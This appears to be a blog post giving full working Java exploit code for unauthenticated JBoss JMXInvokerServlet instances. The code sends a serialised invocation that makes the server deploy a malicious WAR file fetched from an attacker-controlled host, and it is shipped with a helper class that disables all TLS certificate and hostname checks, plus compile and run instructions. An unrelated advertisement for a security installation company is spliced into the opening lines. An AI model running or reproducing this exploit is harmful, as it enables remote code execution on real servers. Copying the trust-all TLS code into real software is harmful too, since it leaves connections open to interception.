Recently ran into a JMXInvokerServlet that didn’t require authentication. These generally have a URL that looks something like:

360 Mobile Vision - 360mobilevision.com North & South Carolina Security products and Systems Installations for Commercial and Residential - $55 Hourly Rate. ACCESS CONTROL, INTRUSION ALARM, ACCESS CONTROLLED GATES, INTERCOMS AND CCTV INSTALL OR REPAIR 360 Mobile Vision - 360mobilevision.com is committed to excellence in every aspect of our business. We uphold a standard of integrity bound by fairness, honesty and personal responsibility. Our distinction is the quality of service we bring to our customers. Accurate knowledge of our trade combined with ability is what makes us true professionals. Above all, we are watchful of our customers interests, and make their concerns the basis of our business.

http(s)://localhost:8080/invoker/JMXInvokerServlet

While there is a Metasploit module for this, it wasn’t working for various reasons. Inspired by Matasano (http://www.matasano.com/research/OWASP3011_Luca.pdf), I wrote up some custom exploit code for this.

Make sure you modify the appropriate strings in JBOSSExploit.java:

//Parameters you need to configure
int hash = 647347722;
String jmxUrl = “http://127.0.0.1:8080/invoker/JMXInvokerServlet”;
String attackerUrl = “http://externalhost.com/test.war”;
String payloadSaveLocation = “testPayload.out”;

hash -> This is specific to the version of JBOSS. It’s the entry that identifies jboss.jmx:name=Invoker. For my version it was 647347722. Metasploit modules have a different number here and is one of the reasons it was failing (you’ll get an exception back from JBOSS if this is wrong).

jmxURL -> Self explanatory

attackerURL -> Host a malicious WAR file here and watch your apache logs

payloadSaveLocation -> This is useful if you want to proxy through BURP or use the metasploit module to send the payload rather than this hacky Java code. The payload object will be saved to disk. You can then overwrite /usr/share/metasploit-framework/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin with the payload generated here. When you run the jmxinvoker metasploit module, it will use this new payload and you can see what’s going on by proxying MSP through BURP.

To Compile (make sure you have the JAR files, they come with JBOSS):
javac -cp jboss.jar:jbossall-client.jar TrustModifier.java JBOSSExploit.java

To Run:
java -cp jboss.jar:jbossall-client.jar JBOSSExploit

To finish it off, just access the URL where your malicious WAR file was deployed e.g: http(s)://localhost:8080/test/

And of course, the code:

JBOSSExploit.java:

import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;

import org.jboss.invocation.InvocationException;
import org.jboss.invocation.MarshalledValue;
import org.jboss.invocation.MarshalledInvocation;

public class JBOSSExploit {

public static void main(String[] args) throws Exception {
//Parameters you need to configure
int hash = 647347722;
String jmxUrl = “http://127.0.0.1:8080/invoker/JMXInvokerServlet”;
String attackerUrl = “http://localhost/test.war”;
String payloadSaveLocation = “testPayload.out”;

MarshalledInvocation payload = new MarshalledInvocation();
payload.setObjectName(new Integer(hash));
Class<?> c = Class.forName(“javax.management.MBeanServerConnection”);
Method method = c.getDeclaredMethod(“invoke”, javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class);
payload.setMethod(method);

Object myObj[] = new Object[4];
myObj[0] = new javax.management.ObjectName(“jboss.system:service=MainDeployer”);
myObj[1] = new String(“deploy”);
myObj[2] = new String[]{attackerUrl};
myObj[3] = new String[]{“java.lang.String”};
payload.setArguments(myObj);
        FileOutputStream fileOut = new FileOutputStream(payloadSaveLocation);
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        out.writeObject(payload);
        out.close();
        fileOut.close();
        System.out.printf(“Payload saved in “+ payloadSaveLocation);
     

        String type = “application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue”;
        URL u = new URL(jmxUrl);
        HttpURLConnection conn = (HttpURLConnection) u.openConnection();
        TrustModifier.relaxHostChecking(conn);
        conn.setDoOutput(true);
        conn.setRequestMethod( “POST” );
        conn.setRequestProperty( “Content-Type”, type );
        conn.setRequestProperty( “Content-Length”,”10000″ );
        OutputStream os = conn.getOutputStream();
        new ObjectOutputStream(os).writeObject(payload);
     
        ObjectInputStream in = new ObjectInputStream(conn.getInputStream());
        Object obj = in.readObject();
        if(obj.getClass().toString().equals(“class org.jboss.invocation.MarshalledValue”)){
        System.out.println(“nGot MarshalledValue response”);
        MarshalledValue mv = (MarshalledValue)obj;
        Object mvContent = mv.get();
        if(mvContent != null)
        {
        System.out.println(mvContent.getClass().toString());
        if(mvContent.getClass().toString().equals(“class org.jboss.invocation.InvocationException”)){
        System.out.println(“Invocation Exception Received”);
        InvocationException ie = (InvocationException)mvContent;
        System.out.println(ie.getMessage());
        ie.printStackTrace();
        }
        }
        else
        {
        System.out.println(“Success! Look for the deployed WAR.”);
        }
        }
     
   
     
}

}

TrustModifier.java

import java.net.*;
import javax.net.ssl.*;
import java.security.*;
import java.security.cert.*;

public class TrustModifier {
   private static final TrustingHostnameVerifier
      TRUSTING_HOSTNAME_VERIFIER = new TrustingHostnameVerifier();
   private static SSLSocketFactory factory;

   /** Call this with any HttpURLConnection, and it will
    modify the trust settings if it is an HTTPS connection. */
   public static void relaxHostChecking(HttpURLConnection conn)
       throws KeyManagementException, NoSuchAlgorithmException, KeyStoreException {

      if (conn instanceof HttpsURLConnection) {
         HttpsURLConnection httpsConnection = (HttpsURLConnection) conn;
         SSLSocketFactory factory = prepFactory(httpsConnection);
         httpsConnection.setSSLSocketFactory(factory);
         httpsConnection.setHostnameVerifier(TRUSTING_HOSTNAME_VERIFIER);
      }
   }

   static synchronized SSLSocketFactory
            prepFactory(HttpsURLConnection httpsConnection)
            throws NoSuchAlgorithmException, KeyStoreException, KeyManagementException {

      if (factory == null) {
         SSLContext ctx = SSLContext.getInstance(“TLS”);
         ctx.init(null, new TrustManager[]{ new AlwaysTrustManager() }, null);
         factory = ctx.getSocketFactory();
      }
      return factory;
   }
 
   private static final class TrustingHostnameVerifier implements HostnameVerifier {
      public boolean verify(String hostname, SSLSession session) {
         return true;
      }
   }

   private static class AlwaysTrustManager implements X509TrustManager {
      public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }
      public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }
      public X509Certificate[] getAcceptedIssuers() { return null; }    
   }
 
}

By admin